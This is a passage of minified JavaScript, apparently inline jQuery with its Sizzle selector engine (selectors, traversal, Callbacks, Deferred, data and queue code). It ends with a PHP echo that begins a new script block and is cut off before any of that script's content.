elem,unmatched=matcher(seed,null,xml,[]),i=seed.length;while(i--){if((elem=unmatched[i])){seed[i]=!(matches[i]=elem)}}}):function(elem,context,xml){input[0]=elem;matcher(input,null,xml,results);input[0]=null;return!results.pop()}}),"has":markFunction(function(selector){return function(elem){return Sizzle(selector,elem).length>0}}),"contains":markFunction(function(text){text=text.replace(runescape,funescape);return function(elem){return(elem.textContent||elem.innerText||getText(elem)).indexOf(text)>-1}}),"lang":markFunction(function(lang){if(!ridentifier.test(lang||"")){Sizzle.error("unsupported lang: "+lang)}lang=lang.replace(runescape,funescape).toLowerCase();return function(elem){var elemLang;do{if((elemLang=documentIsHTML?elem.lang:elem.getAttribute("xml:lang")||elem.getAttribute("lang"))){elemLang=elemLang.toLowerCase();return elemLang===lang||elemLang.indexOf(lang+"-")===0}}while((elem=elem.parentNode)&&elem.nodeType===1);return false}}),"target":function(elem){var hash=window.location&&window.location.hash;return hash&&hash.slice(1)===elem.id},"root":function(elem){return elem===docElem},"focus":function(elem){return elem===document.activeElement&&(!document.hasFocus||document.hasFocus())&&!!(elem.type||elem.href||~elem.tabIndex)},"enabled":function(elem){return elem.disabled===false},"disabled":function(elem){return elem.disabled===true},"checked":function(elem){var nodeName=elem.nodeName.toLowerCase();return(nodeName==="input"&&!!elem.checked)||(nodeName==="option"&&!!elem.selected)},"selected":function(elem){if(elem.parentNode){elem.parentNode.selectedIndex}return elem.selected===true},"empty":function(elem){for(elem=elem.firstChild;elem;elem=elem.nextSibling){if(elem.nodeType<6){return false}}return true},"parent":function(elem){return!Expr.pseudos["empty"](elem)},"header":function(elem){return rheader.test(elem.nodeName)},"input":function(elem){return rinputs.test(elem.nodeName)},"button":function(elem){var name=elem.nodeName.toLowerCase();return name==="input"&&elem.type==="button"||name==="button"},"text":function(elem){var attr;return elem.nodeName.toLowerCase()==="input"&&elem.type==="text"&&((attr=elem.getAttribute("type"))==null||attr.toLowerCase()==="text")},"first":createPositionalPseudo(function(){return[0]}),"last":createPositionalPseudo(function(matchIndexes,length){return[length-1]}),"eq":createPositionalPseudo(function(matchIndexes,length,argument){return[argument<0?argument+length:argument]}),"even":createPositionalPseudo(function(matchIndexes,length){var i=0;for(;i<length;i+=2){matchIndexes.push(i)}return matchIndexes}),"odd":createPositionalPseudo(function(matchIndexes,length){var i=1;for(;i<length;i+=2){matchIndexes.push(i)}return matchIndexes}),"lt":createPositionalPseudo(function(matchIndexes,length,argument){var i=argument<0?argument+length:argument;for(;--i>=0;){matchIndexes.push(i)}return matchIndexes}),"gt":createPositionalPseudo(function(matchIndexes,length,argument){var i=argument<0?argument+length:argument;for(;++i<length;){matchIndexes.push(i)}return matchIndexes})}};Expr.pseudos["nth"]=Expr.pseudos["eq"];for(i in{radio:true,checkbox:true,file:true,password:true,image:true}){Expr.pseudos[i]=createInputPseudo(i)}for(i in{submit:true,reset:true}){Expr.pseudos[i]=createButtonPseudo(i)}function setFilters(){}setFilters.prototype=Expr.filters=Expr.pseudos;Expr.setFilters=new setFilters();tokenize=Sizzle.tokenize=function(selector,parseOnly){var matched,match,tokens,type,soFar,groups,preFilters,cached=tokenCache[selector+" "];if(cached){return parseOnly?0:cached.slice(0)}soFar=selector;groups=[];preFilters=Expr.preFilter;while(soFar){if(!matched||(match=rcomma.exec(soFar))){if(match){soFar=soFar.slice(match[0].length)||soFar}groups.push((tokens=[]))}matched=false;if((match=rcombinators.exec(soFar))){matched=match.shift();tokens.push({value:matched,type:match[0].replace(rtrim," ")});soFar=soFar.slice(matched.length)}for(type in Expr.filter){if((match=matchExpr[type].exec(soFar))&&(!preFilters[type]||(match=preFilters[type](match)))){matched=match.shift();tokens.push({value:matched,type:type,matches:match});soFar=soFar.slice(matched.length)}}if(!matched){break}}return parseOnly?soFar.length:soFar?Sizzle.error(selector):tokenCache(selector,groups).slice(0)};function toSelector(tokens){var i=0,len=tokens.length,selector="";for(;i<len;i++){selector+=tokens[i].value}return selector}function addCombinator(matcher,combinator,base){var dir=combinator.dir,checkNonElements=base&&dir==="parentNode",doneName=done++;return combinator.first?function(elem,context,xml){while((elem=elem[dir])){if(elem.nodeType===1||checkNonElements){return matcher(elem,context,xml)}}}:function(elem,context,xml){var oldCache,outerCache,newCache=[dirruns,doneName];if(xml){while((elem=elem[dir])){if(elem.nodeType===1||checkNonElements){if(matcher(elem,context,xml)){return true}}}}else{while((elem=elem[dir])){if(elem.nodeType===1||checkNonElements){outerCache=elem[expando]||(elem[expando]={});if((oldCache=outerCache[dir])&&oldCache[0]===dirruns&&oldCache[1]===doneName){return(newCache[2]=oldCache[2])}else{outerCache[dir]=newCache;if((newCache[2]=matcher(elem,context,xml))){return true}}}}}}}function elementMatcher(matchers){return matchers.length>1?function(elem,context,xml){var i=matchers.length;while(i--){if(!matchers[i](elem,context,xml)){return false}}return true}:matchers[0]}function multipleContexts(selector,contexts,results){var i=0,len=contexts.length;for(;i<len;i++){Sizzle(selector,contexts[i],results)}return results}function condense(unmatched,map,filter,context,xml){var elem,newUnmatched=[],i=0,len=unmatched.length,mapped=map!=null;for(;i<len;i++){if((elem=unmatched[i])){if(!filter||filter(elem,context,xml)){newUnmatched.push(elem);if(mapped){map.push(i)}}}}return newUnmatched}function setMatcher(preFilter,selector,matcher,postFilter,postFinder,postSelector){if(postFilter&&!postFilter[expando]){postFilter=setMatcher(postFilter)}if(postFinder&&!postFinder[expando]){postFinder=setMatcher(postFinder,postSelector)}return markFunction(function(seed,results,context,xml){var temp,i,elem,preMap=[],postMap=[],preexisting=results.length,elems=seed||multipleContexts(selector||"*",context.nodeType?[context]:context,[]),matcherIn=preFilter&&(seed||!selector)?condense(elems,preMap,preFilter,context,xml):elems,matcherOut=matcher?postFinder||(seed?preFilter:preexisting||postFilter)?[]:results:matcherIn;if(matcher){matcher(matcherIn,matcherOut,context,xml)}if(postFilter){temp=condense(matcherOut,postMap);postFilter(temp,[],context,xml);i=temp.length;while(i--){if((elem=temp[i])){matcherOut[postMap[i]]=!(matcherIn[postMap[i]]=elem)}}}if(seed){if(postFinder||preFilter){if(postFinder){temp=[];i=matcherOut.length;while(i--){if((elem=matcherOut[i])){temp.push((matcherIn[i]=elem))}}postFinder(null,(matcherOut=[]),temp,xml)}i=matcherOut.length;while(i--){if((elem=matcherOut[i])&&(temp=postFinder?indexOf(seed,elem):preMap[i])>-1){seed[temp]=!(results[temp]=elem)}}}}else{matcherOut=condense(matcherOut===results?matcherOut.splice(preexisting,matcherOut.length):matcherOut);if(postFinder){postFinder(null,results,matcherOut,xml)}else{push.apply(results,matcherOut)}}})}function matcherFromTokens(tokens){var checkContext,matcher,j,len=tokens.length,leadingRelative=Expr.relative[tokens[0].type],implicitRelative=leadingRelative||Expr.relative[" "],i=leadingRelative?1:0,matchContext=addCombinator(function(elem){return elem===checkContext},implicitRelative,true),matchAnyContext=addCombinator(function(elem){return indexOf(checkContext,elem)>-1},implicitRelative,true),matchers=[function(elem,context,xml){var ret=(!leadingRelative&&(xml||context!==outermostContext))||((checkContext=context).nodeType?matchContext(elem,context,xml):matchAnyContext(elem,context,xml));checkContext=null;return ret}];for(;i<len;i++){if((matcher=Expr.relative[tokens[i].type])){matchers=[addCombinator(elementMatcher(matchers),matcher)]}else{matcher=Expr.filter[tokens[i].type].apply(null,tokens[i].matches);if(matcher[expando]){j=++i;for(;j<len;j++){if(Expr.relative[tokens[j].type]){break}}return setMatcher(i>1&&elementMatcher(matchers),i>1&&toSelector(tokens.slice(0,i-1).concat({value:tokens[i-2].type===" "?"*":""})).replace(rtrim,"$1"),matcher,i<j&&matcherFromTokens(tokens.slice(i,j)),j<len&&matcherFromTokens((tokens=tokens.slice(j))),j<len&&toSelector(tokens))}matchers.push(matcher)}}return elementMatcher(matchers)}function matcherFromGroupMatchers(elementMatchers,setMatchers){var bySet=setMatchers.length>0,byElement=elementMatchers.length>0,superMatcher=function(seed,context,xml,results,outermost){var elem,j,matcher,matchedCount=0,i="0",unmatched=seed&&[],setMatched=[],contextBackup=outermostContext,elems=seed||byElement&&Expr.find["TAG"]("*",outermost),dirrunsUnique=(dirruns+=contextBackup==null?1:Math.random()||0.1),len=elems.length;if(outermost){outermostContext=context!==document&&context}for(;i!==len&&(elem=elems[i])!=null;i++){if(byElement&&elem){j=0;while((matcher=elementMatchers[j++])){if(matcher(elem,context,xml)){results.push(elem);break}}if(outermost){dirruns=dirrunsUnique}}if(bySet){if((elem=!matcher&&elem)){matchedCount--}if(seed){unmatched.push(elem)}}}matchedCount+=i;if(bySet&&i!==matchedCount){j=0;while((matcher=setMatchers[j++])){matcher(unmatched,setMatched,context,xml)}if(seed){if(matchedCount>0){while(i--){if(!(unmatched[i]||setMatched[i])){setMatched[i]=pop.call(results)}}}setMatched=condense(setMatched)}push.apply(results,setMatched);if(outermost&&!seed&&setMatched.length>0&&(matchedCount+setMatchers.length)>1){Sizzle.uniqueSort(results)}}if(outermost){dirruns=dirrunsUnique;outermostContext=contextBackup}return unmatched};return bySet?markFunction(superMatcher):superMatcher}compile=Sizzle.compile=function(selector,match){var i,setMatchers=[],elementMatchers=[],cached=compilerCache[selector+" "];if(!cached){if(!match){match=tokenize(selector)}i=match.length;while(i--){cached=matcherFromTokens(match[i]);if(cached[expando]){setMatchers.push(cached)}else{elementMatchers.push(cached)}}cached=compilerCache(selector,matcherFromGroupMatchers(elementMatchers,setMatchers));cached.selector=selector}return cached};select=Sizzle.select=function(selector,context,results,seed){var i,tokens,token,type,find,compiled=typeof selector==="function"&&selector,match=!seed&&tokenize((selector=compiled.selector||selector));results=results||[];if(match.length===1){tokens=match[0]=match[0].slice(0);if(tokens.length>2&&(token=tokens[0]).type==="ID"&&support.getById&&context.nodeType===9&&documentIsHTML&&Expr.relative[tokens[1].type]){context=(Expr.find["ID"](token.matches[0].replace(runescape,funescape),context)||[])[0];if(!context){return results}else if(compiled){context=context.parentNode}selector=selector.slice(tokens.shift().value.length)}i=matchExpr["needsContext"].test(selector)?0:tokens.length;while(i--){token=tokens[i];if(Expr.relative[(type=token.type)]){break}if((find=Expr.find[type])){if((seed=find(token.matches[0].replace(runescape,funescape),rsibling.test(tokens[0].type)&&testContext(context.parentNode)||context))){tokens.splice(i,1);selector=seed.length&&toSelector(tokens);if(!selector){push.apply(results,seed);return results}break}}}}(compiled||compile(selector,match))(seed,context,!documentIsHTML,results,rsibling.test(selector)&&testContext(context.parentNode)||context);return results};support.sortStable=expando.split("").sort(sortOrder).join("")===expando;support.detectDuplicates=!!hasDuplicate;setDocument();support.sortDetached=assert(function(div1){return div1.compareDocumentPosition(document.createElement("div"))&1});if(!assert(function(div){div.innerHTML="<a href='#'></a>";return div.firstChild.getAttribute("href")==="#"})){addHandle("type|href|height|width",function(elem,name,isXML){if(!isXML){return elem.getAttribute(name,name.toLowerCase()==="type"?1:2)}})}if(!support.attributes||!assert(function(div){div.innerHTML="<input/>";div.firstChild.setAttribute("value","");return div.firstChild.getAttribute("value")===""})){addHandle("value",function(elem,name,isXML){if(!isXML&&elem.nodeName.toLowerCase()==="input"){return elem.defaultValue}})}if(!assert(function(div){return div.getAttribute("disabled")==null})){addHandle(booleans,function(elem,name,isXML){var val;if(!isXML){return elem[name]===true?name.toLowerCase():(val=elem.getAttributeNode(name))&&val.specified?val.value:null}})}return Sizzle})(window);jQuery.find=Sizzle;jQuery.expr=Sizzle.selectors;jQuery.expr[":"]=jQuery.expr.pseudos;jQuery.unique=Sizzle.uniqueSort;jQuery.text=Sizzle.getText;jQuery.isXMLDoc=Sizzle.isXML;jQuery.contains=Sizzle.contains;var rneedsContext=jQuery.expr.match.needsContext;var rsingleTag=(/^<(\w+)\s*\/?>(?:<\/\1>|)$/);var risSimple=/^.[^:#\[\.,]*$/;function winnow(elements,qualifier,not){if(jQuery.isFunction(qualifier)){return jQuery.grep(elements,function(elem,i){return!!qualifier.call(elem,i,elem)!==not})}if(qualifier.nodeType){return jQuery.grep(elements,function(elem){return(elem===qualifier)!==not})}if(typeof qualifier==="string"){if(risSimple.test(qualifier)){return jQuery.filter(qualifier,elements,not)}qualifier=jQuery.filter(qualifier,elements)}return jQuery.grep(elements,function(elem){return(jQuery.inArray(elem,qualifier)>=0)!==not})}jQuery.filter=function(expr,elems,not){var elem=elems[0];if(not){expr=":not("+expr+")"}return elems.length===1&&elem.nodeType===1?jQuery.find.matchesSelector(elem,expr)?[elem]:[]:jQuery.find.matches(expr,jQuery.grep(elems,function(elem){return elem.nodeType===1}))};jQuery.fn.extend({find:function(selector){var i,ret=[],self=this,len=self.length;if(typeof selector!=="string"){return this.pushStack(jQuery(selector).filter(function(){for(i=0;i<len;i++){if(jQuery.contains(self[i],this)){return true}}}))}for(i=0;i<len;i++){jQuery.find(selector,self[i],ret)}ret=this.pushStack(len>1?jQuery.unique(ret):ret);ret.selector=this.selector?this.selector+" "+selector:selector;return ret},filter:function(selector){return this.pushStack(winnow(this,selector||[],false))},not:function(selector){return this.pushStack(winnow(this,selector||[],true))},is:function(selector){return!!winnow(this,typeof selector==="string"&&rneedsContext.test(selector)?jQuery(selector):selector||[],false).length}});var rootjQuery,document=window.document,rquickExpr=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,init=jQuery.fn.init=function(selector,context){var match,elem;if(!selector){return this}if(typeof selector==="string"){if(selector.charAt(0)==="<"&&selector.charAt(selector.length-1)===">"&&selector.length>=3){match=[null,selector,null]}else{match=rquickExpr.exec(selector)}if(match&&(match[1]||!context)){if(match[1]){context=context instanceof jQuery?context[0]:context;jQuery.merge(this,jQuery.parseHTML(match[1],context&&context.nodeType?context.ownerDocument||context:document,true));if(rsingleTag.test(match[1])&&jQuery.isPlainObject(context)){for(match in context){if(jQuery.isFunction(this[match])){this[match](context[match])}else{this.attr(match,context[match])}}}return this}else{elem=document.getElementById(match[2]);if(elem&&elem.parentNode){if(elem.id!==match[2]){return rootjQuery.find(selector)}this.length=1;this[0]=elem}this.context=document;this.selector=selector;return this}}else if(!context||context.jquery){return(context||rootjQuery).find(selector)}else{return this.constructor(context).find(selector)}}else if(selector.nodeType){this.context=this[0]=selector;this.length=1;return this}else if(jQuery.isFunction(selector)){return typeof rootjQuery.ready!=="undefined"?rootjQuery.ready(selector):selector(jQuery)}if(selector.selector!==undefined){this.selector=selector.selector;this.context=selector.context}return jQuery.makeArray(selector,this)};init.prototype=jQuery.fn;rootjQuery=jQuery(document);var rparentsprev=/^(?:parents|prev(?:Until|All))/,guaranteedUnique={children:true,contents:true,next:true,prev:true};jQuery.extend({dir:function(elem,dir,until){var matched=[],cur=elem[dir];while(cur&&cur.nodeType!==9&&(until===undefined||cur.nodeType!==1||!jQuery(cur).is(until))){if(cur.nodeType===1){matched.push(cur)}cur=cur[dir]}return matched},sibling:function(n,elem){var r=[];for(;n;n=n.nextSibling){if(n.nodeType===1&&n!==elem){r.push(n)}}return r}});jQuery.fn.extend({has:function(target){var i,targets=jQuery(target,this),len=targets.length;return this.filter(function(){for(i=0;i<len;i++){if(jQuery.contains(this,targets[i])){return true}}})},closest:function(selectors,context){var cur,i=0,l=this.length,matched=[],pos=rneedsContext.test(selectors)||typeof selectors!=="string"?jQuery(selectors,context||this.context):0;for(;i<l;i++){for(cur=this[i];cur&&cur!==context;cur=cur.parentNode){if(cur.nodeType<11&&(pos?pos.index(cur)>-1:cur.nodeType===1&&jQuery.find.matchesSelector(cur,selectors))){matched.push(cur);break}}}return this.pushStack(matched.length>1?jQuery.unique(matched):matched)},index:function(elem){if(!elem){return(this[0]&&this[0].parentNode)?this.first().prevAll().length:-1}if(typeof elem==="string"){return jQuery.inArray(this[0],jQuery(elem))}return jQuery.inArray(elem.jquery?elem[0]:elem,this)},add:function(selector,context){return this.pushStack(jQuery.unique(jQuery.merge(this.get(),jQuery(selector,context))))},addBack:function(selector){return this.add(selector==null?this.prevObject:this.prevObject.filter(selector))}});function sibling(cur,dir){do{cur=cur[dir]}while(cur&&cur.nodeType!==1);return cur}jQuery.each({parent:function(elem){var parent=elem.parentNode;return parent&&parent.nodeType!==11?parent:null},parents:function(elem){return jQuery.dir(elem,"parentNode")},parentsUntil:function(elem,i,until){return jQuery.dir(elem,"parentNode",until)},next:function(elem){return sibling(elem,"nextSibling")},prev:function(elem){return sibling(elem,"previousSibling")},nextAll:function(elem){return jQuery.dir(elem,"nextSibling")},prevAll:function(elem){return jQuery.dir(elem,"previousSibling")},nextUntil:function(elem,i,until){return jQuery.dir(elem,"nextSibling",until)},prevUntil:function(elem,i,until){return jQuery.dir(elem,"previousSibling",until)},siblings:function(elem){return jQuery.sibling((elem.parentNode||{}).firstChild,elem)},children:function(elem){return jQuery.sibling(elem.firstChild)},contents:function(elem){return jQuery.nodeName(elem,"iframe")?elem.contentDocument||elem.contentWindow.document:jQuery.merge([],elem.childNodes)}},function(name,fn){jQuery.fn[name]=function(until,selector){var ret=jQuery.map(this,fn,until);if(name.slice(-5)!=="Until"){selector=until}if(selector&&typeof selector==="string"){ret=jQuery.filter(selector,ret)}if(this.length>1){if(!guaranteedUnique[name]){ret=jQuery.unique(ret)}if(rparentsprev.test(name)){ret=ret.reverse()}}return this.pushStack(ret)}});var rnotwhite=(/\S+/g);var optionsCache={};function createOptions(options){var object=optionsCache[options]={};jQuery.each(options.match(rnotwhite)||[],function(_,flag){object[flag]=true});return object}jQuery.Callbacks=function(options){options=typeof options==="string"?(optionsCache[options]||createOptions(options)):jQuery.extend({},options);var firing,memory,fired,firingLength,firingIndex,firingStart,list=[],stack=!options.once&&[],fire=function(data){memory=options.memory&&data;fired=true;firingIndex=firingStart||0;firingStart=0;firingLength=list.length;firing=true;for(;list&&firingIndex<firingLength;firingIndex++){if(list[firingIndex].apply(data[0],data[1])===false&&options.stopOnFalse){memory=false;break}}firing=false;if(list){if(stack){if(stack.length){fire(stack.shift())}}else if(memory){list=[]}else{self.disable()}}},self={add:function(){if(list){var start=list.length;(function add(args){jQuery.each(args,function(_,arg){var type=jQuery.type(arg);if(type==="function"){if(!options.unique||!self.has(arg)){list.push(arg)}}else if(arg&&arg.length&&type!=="string"){add(arg)}})})(arguments);if(firing){firingLength=list.length}else if(memory){firingStart=start;fire(memory)}}return this},remove:function(){if(list){jQuery.each(arguments,function(_,arg){var index;while((index=jQuery.inArray(arg,list,index))>-1){list.splice(index,1);if(firing){if(index<=firingLength){firingLength--}if(index<=firingIndex){firingIndex--}}}})}return this},has:function(fn){return fn?jQuery.inArray(fn,list)>-1:!!(list&&list.length)},empty:function(){list=[];firingLength=0;return this},disable:function(){list=stack=memory=undefined;return this},disabled:function(){return!list},lock:function(){stack=undefined;if(!memory){self.disable()}return this},locked:function(){return!stack},fireWith:function(context,args){if(list&&(!fired||stack)){args=args||[];args=[context,args.slice?args.slice():args];if(firing){stack.push(args)}else{fire(args)}}return this},fire:function(){self.fireWith(this,arguments);return this},fired:function(){return!!fired}};return self};jQuery.extend({Deferred:function(func){var tuples=[["resolve","done",jQuery.Callbacks("once memory"),"resolved"],["reject","fail",jQuery.Callbacks("once memory"),"rejected"],["notify","progress",jQuery.Callbacks("memory")]],state="pending",promise={state:function(){return state},always:function(){deferred.done(arguments).fail(arguments);return this},then:function(){var fns=arguments;return jQuery.Deferred(function(newDefer){jQuery.each(tuples,function(i,tuple){var fn=jQuery.isFunction(fns[i])&&fns[i];deferred[tuple[1]](function(){var returned=fn&&fn.apply(this,arguments);if(returned&&jQuery.isFunction(returned.promise)){returned.promise().done(newDefer.resolve).fail(newDefer.reject).progress(newDefer.notify)}else{newDefer[tuple[0]+"With"](this===promise?newDefer.promise():this,fn?[returned]:arguments)}})});fns=null}).promise()},promise:function(obj){return obj!=null?jQuery.extend(obj,promise):promise}},deferred={};promise.pipe=promise.then;jQuery.each(tuples,function(i,tuple){var list=tuple[2],stateString=tuple[3];promise[tuple[1]]=list.add;if(stateString){list.add(function(){state=stateString},tuples[i^1][2].disable,tuples[2][2].lock)}deferred[tuple[0]]=function(){deferred[tuple[0]+"With"](this===deferred?promise:this,arguments);return this};deferred[tuple[0]+"With"]=list.fireWith});promise.promise(deferred);if(func){func.call(deferred,deferred)}return deferred},when:function(subordinate){var i=0,resolveValues=slice.call(arguments),length=resolveValues.length,remaining=length!==1||(subordinate&&jQuery.isFunction(subordinate.promise))?length:0,deferred=remaining===1?subordinate:jQuery.Deferred(),updateFunc=function(i,contexts,values){return function(value){contexts[i]=this;values[i]=arguments.length>1?slice.call(arguments):value;if(values===progressValues){deferred.notifyWith(contexts,values)}else if(!(--remaining)){deferred.resolveWith(contexts,values)}}},progressValues,progressContexts,resolveContexts;if(length>1){progressValues=new Array(length);progressContexts=new Array(length);resolveContexts=new Array(length);for(;i<length;i++){if(resolveValues[i]&&jQuery.isFunction(resolveValues[i].promise)){resolveValues[i].promise().done(updateFunc(i,resolveContexts,resolveValues)).fail(deferred.reject).progress(updateFunc(i,progressContexts,progressValues))}else{--remaining}}}if(!remaining){deferred.resolveWith(resolveContexts,resolveValues)}return deferred.promise()}});var readyList;jQuery.fn.ready=function(fn){jQuery.ready.promise().done(fn);return this};jQuery.extend({isReady:false,readyWait:1,holdReady:function(hold){if(hold){jQuery.readyWait++}else{jQuery.ready(true)}},ready:function(wait){if(wait===true?--jQuery.readyWait:jQuery.isReady){return}if(!document.body){return setTimeout(jQuery.ready)}jQuery.isReady=true;if(wait!==true&&--jQuery.readyWait>0){return}readyList.resolveWith(document,[jQuery]);if(jQuery.fn.triggerHandler){jQuery(document).triggerHandler("ready");jQuery(document).off("ready")}}});function detach(){if(document.addEventListener){document.removeEventListener("DOMContentLoaded",completed,false);window.removeEventListener("load",completed,false)}else{document.detachEvent("onreadystatechange",completed);window.detachEvent("onload",completed)}}function completed(){if(document.addEventListener||event.type==="load"||document.readyState==="complete"){detach();jQuery.ready()}}jQuery.ready.promise=function(obj){if(!readyList){readyList=jQuery.Deferred();if(document.readyState==="complete"){setTimeout(jQuery.ready)}else if(document.addEventListener){document.addEventListener("DOMContentLoaded",completed,false);window.addEventListener("load",completed,false)}else{document.attachEvent("onreadystatechange",completed);window.attachEvent("onload",completed);var top=false;try{top=window.frameElement==null&&document.documentElement}catch(e){}if(top&&top.doScroll){(function doScrollCheck(){if(!jQuery.isReady){try{top.doScroll("left")}catch(e){return setTimeout(doScrollCheck,50)}detach();jQuery.ready()}})()}}}return readyList.promise(obj)};var strundefined=typeof undefined;var i;for(i in jQuery(support)){break}support.ownLast=i!=="0";support.inlineBlockNeedsLayout=false;jQuery(function(){var val,div,body,container;body=document.getElementsByTagName("body")[0];if(!body||!body.style){return}div=document.createElement("div");container=document.createElement("div");container.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px";body.appendChild(container).appendChild(div);if(typeof div.style.zoom!==strundefined){div.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";support.inlineBlockNeedsLayout=val=div.offsetWidth===3;if(val){body.style.zoom=1}}body.removeChild(container)});(function(){var div=document.createElement("div");if(support.deleteExpando==null){support.deleteExpando=true;try{delete div.test}catch(e){support.deleteExpando=false}}div=null})();jQuery.acceptData=function(elem){var noData=jQuery.noData[(elem.nodeName+" ").toLowerCase()],nodeType=+elem.nodeType||1;return nodeType!==1&&nodeType!==9?false:!noData||noData!==true&&elem.getAttribute("classid")===noData};var rbrace=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,rmultiDash=/([A-Z])/g;function dataAttr(elem,key,data){if(data===undefined&&elem.nodeType===1){var name="data-"+key.replace(rmultiDash,"-$1").toLowerCase();data=elem.getAttribute(name);if(typeof data==="string"){try{data=data==="true"?true:data==="false"?false:data==="null"?null:+data+""===data?+data:rbrace.test(data)?jQuery.parseJSON(data):data}catch(e){}jQuery.data(elem,key,data)}else{data=undefined}}return data}function isEmptyDataObject(obj){var name;for(name in obj){if(name==="data"&&jQuery.isEmptyObject(obj[name])){continue}if(name!=="toJSON"){return false}}return true}function internalData(elem,name,data,pvt){if(!jQuery.acceptData(elem)){return}var ret,thisCache,internalKey=jQuery.expando,isNode=elem.nodeType,cache=isNode?jQuery.cache:elem,id=isNode?elem[internalKey]:elem[internalKey]&&internalKey;if((!id||!cache[id]||(!pvt&&!cache[id].data))&&data===undefined&&typeof name==="string"){return}if(!id){if(isNode){id=elem[internalKey]=deletedIds.pop()||jQuery.guid++}else{id=internalKey}}if(!cache[id]){cache[id]=isNode?{}:{toJSON:jQuery.noop}}if(typeof name==="object"||typeof name==="function"){if(pvt){cache[id]=jQuery.extend(cache[id],name)}else{cache[id].data=jQuery.extend(cache[id].data,name)}}thisCache=cache[id];if(!pvt){if(!thisCache.data){thisCache.data={}}thisCache=thisCache.data}if(data!==undefined){thisCache[jQuery.camelCase(name)]=data}if(typeof name==="string"){ret=thisCache[name];if(ret==null){ret=thisCache[jQuery.camelCase(name)]}}else{ret=thisCache}return ret}function internalRemoveData(elem,name,pvt){if(!jQuery.acceptData(elem)){return}var thisCache,i,isNode=elem.nodeType,cache=isNode?jQuery.cache:elem,id=isNode?elem[jQuery.expando]:jQuery.expando;if(!cache[id]){return}if(name){thisCache=pvt?cache[id]:cache[id].data;if(thisCache){if(!jQuery.isArray(name)){if(name in thisCache){name=[name]}else{name=jQuery.camelCase(name);if(name in thisCache){name=[name]}else{name=name.split(" ")}}}else{name=name.concat(jQuery.map(name,jQuery.camelCase))}i=name.length;while(i--){delete thisCache[name[i]]}if(pvt?!isEmptyDataObject(thisCache):!jQuery.isEmptyObject(thisCache)){return}}}if(!pvt){delete cache[id].data;if(!isEmptyDataObject(cache[id])){return}}if(isNode){jQuery.cleanData([elem],true)}else if(support.deleteExpando||cache!=cache.window){delete cache[id]}else{cache[id]=null}}jQuery.extend({cache:{},noData:{"applet ":true,"embed ":true,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(elem){elem=elem.nodeType?jQuery.cache[elem[jQuery.expando]]:elem[jQuery.expando];return!!elem&&!isEmptyDataObject(elem)},data:function(elem,name,data){return internalData(elem,name,data)},removeData:function(elem,name){return internalRemoveData(elem,name)},_data:function(elem,name,data){return internalData(elem,name,data,true)},_removeData:function(elem,name){return internalRemoveData(elem,name,true)}});jQuery.fn.extend({data:function(key,value){var i,name,data,elem=this[0],attrs=elem&&elem.attributes;if(key===undefined){if(this.length){data=jQuery.data(elem);if(elem.nodeType===1&&!jQuery._data(elem,"parsedAttrs")){i=attrs.length;while(i--){if(attrs[i]){name=attrs[i].name;if(name.indexOf("data-")===0){name=jQuery.camelCase(name.slice(5));dataAttr(elem,name,data[name])}}}jQuery._data(elem,"parsedAttrs",true)}}return data}if(typeof key==="object"){return this.each(function(){jQuery.data(this,key)})}return arguments.length>1?this.each(function(){jQuery.data(this,key,value)}):elem?dataAttr(elem,key,jQuery.data(elem,key)):undefined},removeData:function(key){return this.each(function(){jQuery.removeData(this,key)})}});jQuery.extend({queue:function(elem,type,data){var queue;if(elem){type=(type||"fx")+"queue";queue=jQuery._data(elem,type);if(data){if(!queue||jQuery.isArray(data)){queue=jQuery._data(elem,type,jQuery.makeArray(data))}else{queue.push(data)}}return queue||[]}},dequeue:function(elem,type){type=type||"fx";var queue=jQuery.queue(elem,type),startLength=queue.length,fn=queue.shift(),hooks=jQuery._queueHooks(elem,type),next=function(){jQuery.dequeue(elem,type)};if(fn==="inprogress"){fn=queue.shift();startLength--}if(fn){if(type==="fx"){queue.unshift("inprogress")}delete hooks.stop;fn.call(elem,next,hooks)}if(!startLength&&hooks){hooks.empty.fire()}},_queueHooks:function(elem,type){var key=type+"queueHooks";return jQuery._data(elem,key)||jQuery._data(elem,key,{empty:jQuery.Callbacks("once memory").add(function(){jQuery._removeData(elem,type+"queue");jQuery._removeData(elem,key)})})}});jQuery.fn.extend({queue:function(type,data){var setter=2;if(typeof type!=="string"){data=type;type="fx";setter--}if(arguments.length<setter){return jQuery.queue(this[0],type)}return data===undefined?this:this.each(function(){var queue=jQuery.queue(this,type,data);jQuery._queueHooks(this,type);if(type==="fx"&&queue[0]!=="inprogress"){jQuery.dequeue(this,type)}})},dequeue:function(type){return this.each(function(){jQuery.dequeue(this,type)})},clearQueue:function(type){return this.queue(type||"fx",[])},promise:function(type,obj){var tmp,count=1,defer=jQuery.Deferred(),elements=this,i=this.length,resolve=function(){if(!(--count)){defer.resolveWith(elements,[elements])}};if(typeof type!=="string"){obj=type;type=undefined}type=type||"fx";while(i--){tmp=jQuery._data(elements[i],type+"queueHooks");if(tmp&&tmp.empty){count++;tmp.empty.add(resolve)}}resolve();return defer.promise(obj)}});var pnum=(/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;var cssExpand=["Top","Right","Bottom","Left"];var isHidden=function(elem,el){elem=el||elem;return jQuery.css(elem,"display")==="none"||!jQuery.contains(elem.ownerDocument,elem)};var access=jQuery.access=function(elems,fn,key,value,chainable,emptyGet,raw){var i=0,length=elems.length,bulk=key==null;if(jQuery.type(key)==="object"){chainable=true;for(i in key){jQuery.access(elems,fn,i,key[i],true,emptyGet,raw)}}else if(value!==undefined){chainable=true;if(!jQuery.isFunction(value)){raw=true}if(bulk){if(raw){fn.call(elems,value);fn=null}else{bulk=fn;fn=function(elem,key,value){return bulk.call(jQuery(elem),value)}}}if(fn){for(;i<length;i++){fn(elems[i],key,raw?value:value.call(elems[i],i,fn(elems[i],key)))}}}return chainable?elems:bulk?fn.call(elems):length?fn(elems[0],key):emptyGet};var rcheckableType=(/^(?:checkbox|radio)$/i);</script><?echo'<script> var 